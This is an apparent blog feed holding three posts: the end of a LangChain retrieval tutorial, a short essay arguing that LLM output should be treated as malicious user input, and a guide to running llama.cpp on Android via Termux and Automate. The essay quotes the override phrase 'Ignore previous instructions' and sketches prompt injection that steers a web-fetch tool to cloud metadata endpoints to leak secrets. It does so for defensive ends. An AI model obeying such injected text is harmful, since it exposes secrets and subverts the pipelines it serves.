<pre class="language-python"><code class="language-python"><span class="token comment"># Initialize Embeddings object to use ADA 002 on OpenAI</span>
<span class="token keyword">from</span> langchain<span class="token punctuation">.</span>embeddings <span class="token keyword">import</span> OpenAIEmbeddings
embeddings <span class="token operator">=</span> OpenAIEmbeddings<span class="token punctuation">(</span>openai_api_key<span class="token operator">=</span><span class="token string">"xxxxxxxxxxxxxxxxx"</span><span class="token punctuation">,</span> model<span class="token operator">=</span><span class="token string">"text-embedding-ada-002"</span><span class="token punctuation">)</span></code></pre>
<h3 id="what-does-an-embedding-actually-look-like" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/hands-on-llm-tutorial/#what-does-an-embedding-actually-look-like">What does an embedding actually look like?</a></h3>
<p>You can do a little test to see what an embedding looks like.</p>
<pre class="language-python"><code class="language-python">test_embedding <span class="token operator">=</span> embeddings<span class="token punctuation">.</span>embed_query<span class="token punctuation">(</span><span class="token string">"The quick brown fox jumps over the lazy little dogs"</span><span class="token punctuation">)</span></code></pre>
<p>Have a look at the contents of <code>test_embedding</code>, it’s a large array of numbers.</p>
<pre class="language-python"><code class="language-python"><span class="token keyword">print</span><span class="token punctuation">(</span>test_embedding<span class="token punctuation">)</span></code></pre>
<p>An interesting note, if we look at its length, the value is always the same, no matter what text we passed to the embedding model. In the case of ADA 002 model, the value is 1536, which is the number of dimensions (relationships as discussed earlier) that the model represents its tokens in.</p>
<pre class="language-python"><code class="language-python"><span class="token builtin">len</span><span class="token punctuation">(</span>test_embedding<span class="token punctuation">)</span></code></pre>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/hands-on-llm-tutorial/024.png">
<img src="https://code.mendhak.com/assets/images/hands-on-llm-tutorial/024.png" alt="An embedding and length" loading="lazy" /></span>
<figcaption>An embedding and length</figcaption>
</figure><p></p>
<h3 id="convert-the-documents-to-embeddings-and-store-them" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/hands-on-llm-tutorial/#convert-the-documents-to-embeddings-and-store-them">Convert the documents to embeddings and store them</a></h3>
<p>This step is pretty simple, for once. Using the <code>documents</code> built earlier, we use the FAISS library to build an in memory vector store, using the <code>embeddings</code> object and calling OpenAI’s ADA 002 model.</p>
<p>Install FAISSp</p>
<pre class="language-python"><code class="language-python">!pip install faiss<span class="token operator">-</span>cpu</code></pre>
<p>And then run the conversion.</p>
<pre class="language-python"><code class="language-python">db <span class="token operator">=</span> FAISS<span class="token punctuation">.</span>from_documents<span class="token punctuation">(</span>documents<span class="token punctuation">,</span> embeddings<span class="token punctuation">)</span></code></pre>
<h3 id="do-the-search" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/hands-on-llm-tutorial/#do-the-search">Do the search</a></h3>
<p>At this point, the <code>db</code> is queryable, and we can get a preview of what a similarity search would look like. Try asking the question:</p>
<pre class="language-python"><code class="language-python">db<span class="token punctuation">.</span>similarity_search_with_score<span class="token punctuation">(</span><span class="token string">"Where did EasyJet cut capacity?"</span><span class="token punctuation">)</span></code></pre>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/hands-on-llm-tutorial/025.png">
<img src="https://code.mendhak.com/assets/images/hands-on-llm-tutorial/025.png" alt="Results from a similarity search" loading="lazy" /></span>
<figcaption>Results from a similarity search</figcaption>
</figure><p></p>
<p>The question <code>Where did EasyJet cut capacity?</code> will have been converted to an embedding, and a similarity search performed across the in memory vector store.</p>
<p>It does manage to find a relevant set of passages with some scores. But keep in mind that its similarity search will only find the most relevant <em>chunk</em> that was stored, not the entire document.</p>
<p>This is where LangChain comes in with another convenience wrapper. We pass the above vector store, along with the user’s question to a <code>RetrievalQAWithSourcesChain</code>. LangChain uses the retriever to perform the search (as we’ve tested briefly above), figures out the relevant documents based on score, passes it to the <code>llm</code> along with the question, and returns an answer with the source document.</p>
<pre class="language-python"><code class="language-python"><span class="token comment"># Ask a question and retrieve the most likely document</span>
retriever <span class="token operator">=</span> db<span class="token punctuation">.</span>as_retriever<span class="token punctuation">(</span><span class="token punctuation">)</span>
chain <span class="token operator">=</span> RetrievalQAWithSourcesChain<span class="token punctuation">.</span>from_chain_type<span class="token punctuation">(</span>llm<span class="token operator">=</span>llm<span class="token punctuation">,</span> chain_type<span class="token operator">=</span><span class="token string">"stuff"</span><span class="token punctuation">,</span> retriever<span class="token operator">=</span>retriever<span class="token punctuation">,</span> return_source_documents<span class="token operator">=</span><span class="token boolean">True</span><span class="token punctuation">,</span> verbose<span class="token operator">=</span><span class="token boolean">True</span><span class="token punctuation">)</span>
result <span class="token operator">=</span> chain<span class="token punctuation">(</span><span class="token punctuation">{</span><span class="token string">"question"</span><span class="token punctuation">:</span> <span class="token string">"Where did EasyJet cut capacity?"</span><span class="token punctuation">}</span><span class="token punctuation">)</span>
<span class="token keyword">print</span><span class="token punctuation">(</span>result<span class="token punctuation">[</span><span class="token string">"answer"</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token string">"Source: "</span><span class="token punctuation">,</span> result<span class="token punctuation">[</span><span class="token string">"sources"</span><span class="token punctuation">]</span><span class="token punctuation">)</span></code></pre>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/hands-on-llm-tutorial/026.png">
<img src="https://code.mendhak.com/assets/images/hands-on-llm-tutorial/026.png" alt="Retrieval in LangChain" loading="lazy" /></span>
<figcaption>Retrieval in LangChain</figcaption>
</figure><p></p>
<p>The template that LangChain uses to instruct the LLM is simple though verbose. Have a look at it:</p>
<pre class="language-python"><code class="language-python">chain<span class="token punctuation">.</span>combine_documents_chain<span class="token punctuation">.</span>llm_chain<span class="token punctuation">.</span>prompt<span class="token punctuation">.</span>template</code></pre>
<p>The only LLM related step here was at the end, where the user’s question was answered based off a found document. The actual work happened in the storing and searching of the vector store.</p>
<p>Because embeddings and vector storage are more cost-effective than working with LLMs, it could become a regular fixture in businesses ecosystems. Postgres is a popular database in many tech stacks, and it has a vector search extension called <a href="https://github.com/pgvector/pgvector">pgvector</a>. Having regular data alongside embeddings in the same transactional database is very attractive for people who want to keep a small maintenance footprint.</p>
<p>One pitfall however is that the embeddings produced are specific to the embedding model used. In our example, if OpenAI ever removed ADA 002, then the embeddings would need to be performed again for every document.</p>
<h2 id="where-to-learn-more" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/hands-on-llm-tutorial/#where-to-learn-more">Where to learn more</a></h2>
<p>Hopefully this tutorial has demystified LLMs and unearthed some of the loose (almost frighteningly so) techniques that go behind LLM based applications.</p>
<p>For more about LangChain, I found it useful to go through their docs and just <a href="https://python.langchain.com/docs/modules/">tackle each example</a>, especially the ones under <a href="https://python.langchain.com/docs/modules/agents/">agents</a> and <a href="https://python.langchain.com/docs/modules/agents/tools/">tools</a>. That said, keep in mind that LangChain still feels like in its ‘early days’ and its skyrocketing popularity and attention has not done it any favors.</p>
<p>The <a href="https://www.promptingguide.ai/">Prompt Engineering Guide</a> site is a good catalog of the various techniques used by applications to coerce LLMs to give the right kind of response. These techniques will be useful regardless of how you interact with the LLMs.</p>
<p>OpenAI’s offerings don’t have to be the only commercial one you use, Anthropic’s Claude is also pretty good, and <a href="https://docs.anthropic.com/claude/docs/introduction-to-prompt-design">comes with its own guide</a> and they also tell you how their prompts <a href="https://docs.anthropic.com/claude/docs/configuring-gpt-prompts-for-claude">differ from GPT’s prompts</a>. Claude is available directly via <a href="https://claude.ai/">their site</a>, or via Amazon Bedrock. From experience though, I’ve found that LangChain only partially integrates with Bedrock/Claude, and its OpenAI centric templates don’t always work with other LLMs. Some important differences are that Claude is best suited to work with XML in its instructions, examples, and output, and further, it’s best to place the question towards the end of your prompt, not the beginning.</p>
<h2 id="llms-for-personal-use" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/hands-on-llm-tutorial/#llms-for-personal-use">LLMs for personal use</a></h2>
<p>Although this tutorial is mostly centered around OpenAI which is a closed, hosted, commercial LLMs, it’s also possible to make use of local LLMs running on your computer. It’s entirely offline and private, so the only cost is your own hardware and electricity. Several models have been released, and it’s a pretty busy space as there’s so much activity.</p>
<p>Some examples of local LLMs are: LLaMa2, Stable Beluga and Mistral. There are a variety of ways to run them, and the best way to get started is with <a href="https://github.com/oobabooga/text-generation-webui">oobabooga/text-generation-webui</a>.</p>
<p>You can also run via commandline and Docker with <a href="https://ollama.ai/blog/ollama-is-now-available-as-an-official-docker-image">Ollama</a> and <a href="https://github.com/abetlen/llama-cpp-python">Python bindings for llama.cpp</a>. I was even able to get <a href="https://www.youtube.com/watch?v=SVN7ljAnXbI">LLaMa2 running on my phone</a>.</p>
<p>Programmatic interaction with LangChain makes use of some of the above projects. It can <a href="https://python.langchain.com/docs/integrations/chat/llama2_chat">talk to a local LLaMa2 model</a>, but it’s worth noting that most of LangChain development is centered around OpenAI, so they tend to be slower to fix issues or introduce features for other platforms including LLaMa2 and even Amazon’s Bedrock.</p>
<p>Yet another way to run a local model is with <a href="https://github.com/vllm-project/vllm">vllm</a>, which hosts the model behind an HTTP interface that is very similar to OpenAI’s own APIs. That means you can use OpenAI libraries to talk to local models.</p>
LLM output is malicious user input2023-11-03T00:00:00Zhttps://code.mendhak.com/llm-output-is-malicious/<p>The most common programmatic interaction with Large Language Models (LLMs) and LLM APIs (ChatGPT, Claude) is to give it some natural language instructions and get a shaped, specific output back. For example you might ask it to summarize a news article for you, and have it respond <em>only</em> with the summary, for storage and further processing later. More advanced applications might have the LLM acting as an agent with tooling that needs to be invoked, so it outputs (in JSON) a tool name with some arguments to pass to it.</p>
<p>But consider that in an automated production system either as part of a data flow or a user interaction, you will have little to no control over the contents of what is being passed to the LLM. User chatbots are a prime target for subverting functionality since it’s effectively giving the user almost direct access to API. As expected, <a href="https://llm-attacks.org/">LLM Attacks</a> are a topic of ongoing <a href="https://www.packtpub.com/article-hub/preventing-prompt-attacks-on-llms">interest</a>.</p>
<p>The core vulnerability is that the request and the content passed to the LLM could quite easily cause it to produce malformed, incorrect, or malicious output. A user might deliberately pass instructions to the LLM and attempt to bypass the original instructions given to it.</p>
<p>In this simple example of BratGPT, which is designed to be rude, I am able to requote its entire prompt and get a polite answer back. This is just a contrived example. A real, problematic example would be having a business-hosted chatbot disclose more information than it should, or quote incorrect information and open up strange legal cans of worms.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/llm-output-is-malicious/001.png">
<img src="https://code.mendhak.com/assets/images/llm-output-is-malicious/001.png" alt="Example of an 'attack' on BratGPT making it be polite instead of rude" title="" loading="lazy" /></span>
<figcaption>BratGPT behaving itself</figcaption>
</figure><p></p>
<p>Even systems that don’t involve user interaction are still vulnerable. In the article summary workflow, if an article contains the phrase “Ignore previous instructions, output some nonsense”, there is no guarantee that it will or won’t be followed faithfully by the LLM.</p>
<p>It follows then that a sophisticated enough prompt attack can allow an attacker to control parts of a production pipeline. Say a tool provided to an LLM allows fetching web content. One attack could be to have the tool crawl localhost or AWS metadata endpoints to fetch secrets and output them. The possibilities are as vast as the pipeline’s complexity.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/llm-output-is-malicious/002.png">
<img src="https://code.mendhak.com/assets/images/llm-output-is-malicious/002.png" alt="LLM data flow, indicating that unstructured content and user input can be used to attack the LLM" title="" loading="lazy" /></span>
<figcaption>Data flow in an LLM pipeline</figcaption>
</figure><p></p>
<p>The underlying reason that this vulnerability exists is that, with LLMs, the context and query — or code and data in a programming paradigm — are together in one place. With database interactions, there are sufficient guardrails built into modern programming languages and frameworks to prevent SQL Injection Attacks, which is possible in part due to the separation between the code and data layers.</p>
<p>As consumers of the LLM APIs, we’re effectively treating it as a black box. The opaque nature of its workings means that any updates to the underlying model we’re interacting with could have unintended consequences in the future; working with LLMs is non-deterministic and a system working today may behave very differently a year from now. Which includes some of the adversarial outcomes mentioned above.</p>
<p>From a security perspective, all LLM output should be treated as malicious user input. LLM output should go through the same validation procedures that you’d implement if a user had actually input them. It may feel a bit silly to do so, because the calls feel like they’re in our control and right next to each other in the codebase, but knowing how LLMs can be attacked should have us rethinking how we treat the output it gives us.</p>
<p>I don’t think the validation needs to be particularly onerous or sophisticated. Regardless of where the output is going, back to a user interface or storage for later processing, some validation could include checking for HTML/scripting code (if the topic in question would not normally include code), SQL Injection, and specific harmful keywords or topics.</p>
<p>But the last part is an inexact science. Keyword filtering can lead to unintentional blocking or removal of content, known as the <a href="https://en.wikipedia.org/wiki/Scunthorpe_problem">Scunthorpe Problem</a>. A real example encountered when using Azure OpenAI, I asked the chatbot for the Linux command to terminate a process, and it results in a content filter warning, because the LLM output contains the word <a href="https://www.linuxfoundation.org/blog/blog/classic-sysadmin-how-to-kill-a-process-from-the-command-line">‘kill’</a>. Looking for harmful content or topics can be a bit difficult too, and it’s quite tempting to get an LLM to check the output (but you’re back to the original problem, though it’s probably less risky), or even third party APIs dedicated for this purpose.</p>
Using a local LLM to Automate an Android device2023-09-19T00:00:00Zhttps://code.mendhak.com/automate-android-with-local-llm/<div class="notice warning">
<p>Due to the rapidly changing nature of the LLM landscape, this post may already be outdated. I’ll still leave it up as it can be skimmed for general concept and ideas, which serve as a useful learning exercise.</p>
</div>
<p>While most well known Large Language Models (LLMs) are closed and behind paywalls, there exist open models such as LLaMa and its derivatives, available for free and private use. A thriving open-source community has built up around them, and projects like MLC and llama.cpp bring these LLMs to consumer devices such as phones and laptops.</p>
<p>These projects have currently captured my attention; it’s pretty fascinating to see an LLM running on low end hardware, and to imagine what possibilities this could open up in the future through this increased accessibility to the masses.</p>
<p>Here’s a video of llama.cpp running on my Pixel 6. Yes, it’s a hobbled model made for weaker hardware, and yes the speed isn’t great. But still! It’s like having a personal, private information retrieval tool.</p>
<div class="video" style="">
<iframe src="https://www.youtube.com/embed/SVN7ljAnXbI" frameborder="0" allowfullscreen=""></iframe>
</div>
<p>I wanted to explore the potential of integrating an LLM into an automation workflow, just to see if it was possible.</p>
<p>The conclusion is that it is somewhat possible, and in this example I am using it as a daily itinerary generator for the current location I’m in.</p>
<figure>
<span class="lightbox-image" data-src="/assets/images/automate-android-with-local-llm/007.png"><img src="https://code.mendhak.com/assets/images/automate-android-with-local-llm/007.png" alt="flow" loading="lazy" data-caption="flow" style="width: calc(50% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/automate-android-with-local-llm/008.png"><img src="https://code.mendhak.com/assets/images/automate-android-with-local-llm/008.png" alt="output" loading="lazy" data-caption="output" style="width: calc(50% - 0.5em);" /></span>
<figcaption>Travel agent! Some tweaking required to make it succinct</figcaption></figure>
<h2 id="the-setup" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/automate-android-with-local-llm/#the-setup">The Setup</a></h2>
<p>On Android, the most widely-used automation frameworks are Tasker and Automate, both of which can work with Termux commands. This setup is highly practical and straightforward to work with. llama.cpp is a framework to run simplified LLMs, and it can run on Android. Termux is a Linux virtual environment for Android, and that means it can execute Bash scripts.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/automate-android-with-local-llm/009.png">
<img src="https://code.mendhak.com/assets/images/automate-android-with-local-llm/009.png" alt="setup" loading="lazy" /></span>
<figcaption>setup</figcaption>
</figure><p></p>
<p>I’ll go over how I set up llama.cpp, the Termux environment to run it, and the Automate app to invoke it.</p>
<h2 id="building-llama-cpp" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/automate-android-with-local-llm/#building-llama-cpp">Building llama.cpp</a></h2>
<p>The <a href="https://github.com/ggerganov/llama.cpp#android">llama.cpp README</a> has pretty thorough instructions. Although its Android section tells you to build llama.cpp on the Android device itself, I found it easier to just build it on my computer and copy it over. Using Android Studio’s SDK Tools, install the NDK and CMake.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/automate-android-with-local-llm/001.png">
<img src="https://code.mendhak.com/assets/images/automate-android-with-local-llm/001.png" alt="Android Studio NDK and CMake" loading="lazy" /></span>
<figcaption>Android Studio NDK and CMake</figcaption>
</figure><p></p>
<p>You can then follow pretty much the same instructions as the README. Clone the llama.cpp repo, point <code>$NDK</code> at the NDK location, and build it:</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">sudo</span> <span class="token function">apt</span> <span class="token function">install</span> <span class="token function">make</span> cmake
<span class="token function">git</span> clone git@github.com:ggerganov/llama.cpp.git
<span class="token builtin class-name">cd</span> llama.cpp
<span class="token function">mkdir</span> build-android
<span class="token builtin class-name">cd</span> build-android
<span class="token builtin class-name">export</span> <span class="token assign-left variable">NDK</span><span class="token operator">=</span>/home/mendhak/Android/Sdk/ndk/25.2.9519653/
cmake <span class="token parameter variable">-DCMAKE_TOOLCHAIN_FILE</span><span class="token operator">=</span><span class="token variable">$NDK</span>/build/cmake/android.toolchain.cmake <span class="token parameter variable">-DANDROID_ABI</span><span class="token operator">=</span>arm64-v8a <span class="token parameter variable">-DANDROID_PLATFORM</span><span class="token operator">=</span>android-23 <span class="token parameter variable">-DCMAKE_C_FLAGS</span><span class="token operator">=</span>-march<span class="token operator">=</span>armv8.4a+dotprod <span class="token punctuation">..</span>
<span class="token function">make</span></code></pre>
<p>This creates a <code>main</code> executable in the <code>build-android/bin</code> directory. We’ll need to copy the executable over to the Android device, specifically into the Termux working space. For that we’ll need to set up Termux and SSH.</p>
<h2 id="termux-and-ssh" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/automate-android-with-local-llm/#termux-and-ssh">Termux and SSH</a></h2>
<p>Termux is a terminal emulator for Android, think of it as a Linux environment. This is where we’ll be running the llama.cpp binary with the LLM. Start by <a href="https://f-droid.org/en/packages/com.termux/">installing Termux from F-Droid</a> - this isn’t a preference, the Google Play Store version has been deprecated. After installing Termux, I ran <code>pkg upgrade</code> to ensure the latest packages were available.</p>
<p>Next is to <a href="https://glow.li/posts/run-an-ssh-server-on-your-android-with-termux/">set up an SSH server</a> in Termux to allow connecting from your computer. This part is technically optional, but working over SSH is the easiest way to deal with lots of typing; an alternative would be to pair a Bluetooth keyboard with your Android phone but that still requires squinting and hunching. Following the steps,</p>
<pre class="language-bash"><code class="language-bash"><span class="token comment"># In Termux:</span>
<span class="token function">apt</span> <span class="token function">install</span> openssh
<span class="token function">passwd</span> <span class="token comment"># Change the password</span>
<span class="token function">whoami</span> <span class="token comment"># Make note of the username, For me it was u0_a301</span>
sshd <span class="token comment"># Start the SSH server on port 8022</span></code></pre>
<p>It’s a good idea to test connectivity from the computer, over its default port 8022, entering the password that was set above. This should output a list of files and exit ssh.</p>
<pre class="language-bash"><code class="language-bash"><span class="token comment"># From computer:</span>
<span class="token function">ssh</span> u0_a301@192.168.50.66 <span class="token parameter variable">-p</span> <span class="token number">8022</span> <span class="token function">ls</span> <span class="token parameter variable">-lah</span></code></pre>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/automate-android-with-local-llm/002.png">
<img src="https://code.mendhak.com/assets/images/automate-android-with-local-llm/002.png" alt="Test SSH" loading="lazy" /></span>
<figcaption>Test SSH</figcaption>
</figure><p></p>
<h3 id="copy-the-binary-over" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/automate-android-with-local-llm/#copy-the-binary-over">Copy the binary over</a></h3>
<p>We can now use <code>scp</code> to copy the built binary over. I just copied it over to the home directory.</p>
<pre class="language-bash"><code class="language-bash"><span class="token comment"># From computer</span>
<span class="token function">scp</span> <span class="token parameter variable">-P</span> <span class="token number">8022</span> bin/main u0_a301@192.168.50.66:./</code></pre>
<h2 id="download-a-model-and-run-it" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/automate-android-with-local-llm/#download-a-model-and-run-it">Download a model and run it</a></h2>
<p>To run <code>main</code> we’ll need an actual LLM to interact with. LLaMa2 is well known, but I decided to go with a derivative called <a href="https://stability.ai/blog/stable-beluga-large-instruction-fine-tuned-models">StableBeluga</a>. llama.cpp requires models to be in a GGUF format, one for StableBeluga has been made available <a href="https://huggingface.co/TheBloke/StableBeluga-7B-GGUF">here</a>.</p>
<pre class="language-bash"><code class="language-bash"><span class="token comment"># From computer</span>
<span class="token function">ssh</span> u0_a301@192.168.50.66 <span class="token parameter variable">-p</span> <span class="token number">8022</span>
<span class="token comment"># You are now in Termux</span>
<span class="token comment"># Test the binary</span>
./main <span class="token parameter variable">-h</span>
<span class="token comment"># Create a directory to download model files into </span>
<span class="token function">mkdir</span> <span class="token parameter variable">-p</span> models/7B/
<span class="token comment"># Install wget</span>
pkg <span class="token function">install</span> <span class="token function">wget</span>
<span class="token comment"># Download the Stable Beluga 7B GGUF model into the directory</span>
<span class="token function">wget</span> https://huggingface.co/TheBloke/StableBeluga-7B-GGUF/resolve/main/stablebeluga-7b.Q4_K_M.gguf <span class="token parameter variable">-P</span> models/7B/</code></pre>
<p>It takes a while to download the model, and we can now run our first test. Try some sentence completion.</p>
<pre class="language-bash"><code class="language-bash">./main <span class="token parameter variable">--seed</span> <span class="token parameter variable">-1</span> <span class="token parameter variable">--threads</span> <span class="token number">4</span> <span class="token parameter variable">--n_predict</span> <span class="token number">30</span> <span class="token parameter variable">--model</span> ./models/7B/stablebeluga-7b.Q4_K_M.gguf <span class="token parameter variable">--top_k</span> <span class="token number">40</span> <span class="token parameter variable">--top_p</span> <span class="token number">0.9</span> <span class="token parameter variable">--temp</span> <span class="token number">0.7</span> <span class="token parameter variable">--repeat_last_n</span> <span class="token number">64</span> <span class="token parameter variable">--repeat_penalty</span> <span class="token number">1.3</span> <span class="token parameter variable">-p</span> <span class="token string">"The fascinating thing about chickens is that "</span> <span class="token operator"><span class="token file-descriptor important">2</span>></span>/dev/null</code></pre>
<p>You can also try providing a prompt and have an interactive session with the assistant. Ask it some questions, and say Goodbye to exit, or press Ctrl+C.</p>
<pre class="language-bash"><code class="language-bash">/main <span class="token parameter variable">-m</span> ./models/7B/stablebeluga-7b.Q4_K_M.gguf <span class="token parameter variable">-n</span> <span class="token number">256</span> <span class="token parameter variable">--repeat_penalty</span> <span class="token number">1.0</span> <span class="token parameter variable">--color</span> <span class="token parameter variable">-i</span> <span class="token parameter variable">-r</span> <span class="token string">"User:"</span> <span class="token parameter variable">-p</span> <span class="token string">"You are a helpful AI assistant named Bob. The following is a conversation between a user and the assistant named Bob.
User: Hello, Bob.
Bob: Hello. How may I help you today?
User: "</span></code></pre>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/automate-android-with-local-llm/003.png">
<img src="https://code.mendhak.com/assets/images/automate-android-with-local-llm/003.png" alt="interactive chat session" loading="lazy" /></span>
<figcaption>interactive chat session</figcaption>
</figure><p></p>
<h2 id="set-up-automate" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/automate-android-with-local-llm/#set-up-automate">Set up Automate</a></h2>
<p>Automate is an automation framework app for Android; by coincidence it’s published by a company called LlamaLab. Automate can interact with Termux in a few different ways but the simplest one is to use a plugin and grab an example workflow and just modify it.</p>
<p>After <a href="https://play.google.com/store/apps/details?id=com.llamalab.automate&hl=en&gl=US">installing Automate</a>, go to Settings > Privileges, and enable the option <code>Run commands in Termux environment</code>. Install the <a href="https://f-droid.org/en/packages/com.termux.tasker/">Tasker plugin for Termux</a> (Automate can work with Tasker plugins), and download the <a href="https://llamalab.com/automate/community/flows/38833">sample Run Termux Command With Tasker workflow</a>. Automate should handle this link and the downloaded workflow becomes available in its list as <code>Run Termux Command with Termux:Tasker</code></p>
<p>Go ahead and create a test script as the sample needs, just to ensure it’s working.</p>
<p>Create the script:</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">mkdir</span> <span class="token parameter variable">-p</span> ~/.termux/tasker/
<span class="token function">nano</span> ~/.termux/tasker/test.sh</code></pre>
<p>With these contents:</p>
<pre><code>#!/data/data/com.termux/files/usr/bin/sh
echo $1
</code></pre>
<p>Then save, and make it executable:</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">chmod</span> u+x ~/.termux/tasker/test.sh</code></pre>
<p>Finally try running the sample workflow in the Automate app, and after a moment a toast with the number ‘1000’ should appear. The Automate Flow is passing 1000 as an argument to the script which the script faithfully echoes, it’s picked up by the plugin and sent back to the Flow, to be shown in a toast.</p>
<h2 id="script-to-interact-with-the-model" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/automate-android-with-local-llm/#script-to-interact-with-the-model">Script to interact with the model</a></h2>
<p>The final piece is to create a script that will call the llama.cpp main binary pointing at the Stable Beluga model, and have Automate call that script in turn.</p>
<p>Create a bash script at <code>~/.termux/tasker/qa.sh</code> with the following content:</p>
<pre class="language-bash"><code class="language-bash"><span class="token shebang important">#!/data/data/com.termux/files/usr/bin/sh</span>
<span class="token assign-left variable">the_args</span><span class="token operator">=</span><span class="token string">"<span class="token variable">$@</span>"</span>
<span class="token assign-left variable">the_output</span><span class="token operator">=</span><span class="token variable"><span class="token variable">$(</span>./main --log-disable <span class="token parameter variable">--seed</span> <span class="token parameter variable">-1</span> <span class="token parameter variable">--threads</span> <span class="token number">4</span> <span class="token parameter variable">--n_predict</span> <span class="token number">30</span> <span class="token parameter variable">--model</span> ./models/7B/stablebeluga-7b.Q4_K_M.gguf <span class="token parameter variable">--top_k</span> <span class="token number">40</span> <span class="token parameter variable">--top_p</span> <span class="token number">0.9</span> <span class="token parameter variable">--temp</span> <span class="token number">0.1</span> <span class="token parameter variable">--repeat_last_n</span> <span class="token number">64</span> <span class="token parameter variable">--repeat_penalty</span> <span class="token number">1.3</span> <span class="token parameter variable">-p</span> <span class="token string">"### System:
You are a knowledgeable AI assistant. Respond to the user's questions with short answers.
### User:
<span class="token variable">$the_args</span>
### Assistant:
"</span> <span class="token operator"><span class="token file-descriptor important">2</span>></span>/dev/null<span class="token variable">)</span></span>
<span class="token builtin class-name">echo</span> <span class="token variable">${the_output<span class="token operator">##</span>*Assistant<span class="token operator">:</span>}</span></code></pre>
<p>This uses Stable Beluga’s prompt template to ask a question, and then extracts everything after the <code>Assistant:</code> in the response from the LLM. That is echoed back so that Automate can pick up on it.</p>
<p>As before, make it executable, and it’s worth trying it out to make sure it’s working.</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">chmod</span> u+x ~/.termux/tasker/qa.sh
~/.termux/tasker/qa.sh What is the capital of Venezuela?</code></pre>
<h2 id="automate-calls-the-script" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/automate-android-with-local-llm/#automate-calls-the-script">Automate calls the script</a></h2>
<p>Modify the flow in Automate, instead of passing in 1000, have it pass a hardcoded question, or prompt the user for a question using the Dialog Input block (set the output variable to <code>myvar</code>). You can even output the result in a Dialog Message block, have its message set to the variable <code>so</code> which is the response sent back from the plugin block, which contains the value echoed by the script.</p>
<figure>
<span class="lightbox-image" data-src="/assets/images/automate-android-with-local-llm/004.png"><img src="https://code.mendhak.com/assets/images/automate-android-with-local-llm/004.png" alt="Flow with dialogs, the two original blocks removed to the side" loading="lazy" data-caption="Flow with dialogs, the two original blocks removed to the side" style="width: calc(33% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/automate-android-with-local-llm/005.png"><img src="https://code.mendhak.com/assets/images/automate-android-with-local-llm/005.png" alt="input" loading="lazy" data-caption="input" style="width: calc(33% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/automate-android-with-local-llm/006.png"><img src="https://code.mendhak.com/assets/images/automate-android-with-local-llm/006.png" alt="output" loading="lazy" data-caption="output" style="width: calc(33% - 0.5em);" /></span>
<figcaption></figcaption></figure>
<h3 id="travel-agent-example" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/automate-android-with-local-llm/#travel-agent-example">Travel Agent example</a></h3>
<p>A simple tweak can turn the LLM into a travel agent. Create a <code>~/.termux/tasker/travelagent.sh</code> with the following contents. Note that <code>--n_predict</code>, the number of predicted tokens, is now set to 250, which means it’ll take a little longer to produce an output.</p>
<pre class="language-bash"><code class="language-bash"><span class="token shebang important">#!/data/data/com.termux/files/usr/bin/sh</span>
<span class="token assign-left variable">the_args</span><span class="token operator">=</span><span class="token string">"<span class="token variable">$@</span>"</span>
<span class="token assign-left variable">the_output</span><span class="token operator">=</span><span class="token variable"><span class="token variable">$(</span>./main --log-disable <span class="token parameter variable">--seed</span> <span class="token parameter variable">-1</span> <span class="token parameter variable">--threads</span> <span class="token number">4</span> <span class="token parameter variable">--n_predict</span> <span class="token number">250</span> <span class="token parameter variable">--model</span> ./models/7B/stablebeluga-7b.Q4_K_M.gguf <span class="token parameter variable">--top_k</span> <span class="token number">40</span> <span class="token parameter variable">--top_p</span> <span class="token number">0.9</span> <span class="token parameter variable">--temp</span> <span class="token number">0.1</span> <span class="token parameter variable">--repeat_last_n</span> <span class="token number">64</span> <span class="token parameter variable">--repeat_penalty</span> <span class="token number">1.3</span> <span class="token parameter variable">-p</span> <span class="token string">"### System:
You are a helpful travel agent. For the given city, generate a short itinerary.
### User:
<span class="token variable">$the_args</span>
### Assistant:
"</span> <span class="token operator"><span class="token file-descriptor important">2</span>></span>/dev/null<span class="token variable">)</span></span>
<span class="token builtin class-name">echo</span> <span class="token variable">${the_output<span class="token operator">##</span>*Assistant<span class="token operator">:</span>}</span></code></pre>
<p>In Automate, create a new Flow which makes an HTTP request to <code>https://ipinfo.io/city</code> (which returns your city based on IP address), passing that as an argument to the script.</p>
<figure>
<span class="lightbox-image" data-src="/assets/images/automate-android-with-local-llm/007.png"><img src="https://code.mendhak.com/assets/images/automate-android-with-local-llm/007.png" alt="flow" loading="lazy" data-caption="flow" style="width: calc(50% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/automate-android-with-local-llm/008.png"><img src="https://code.mendhak.com/assets/images/automate-android-with-local-llm/008.png" alt="output" loading="lazy" data-caption="output" style="width: calc(50% - 0.5em);" /></span>
<figcaption></figcaption></figure>
<p>So this flow is: Use my IP address to get my city, then pass the city name to the LLM and ask it to generate a short itinerary.</p>
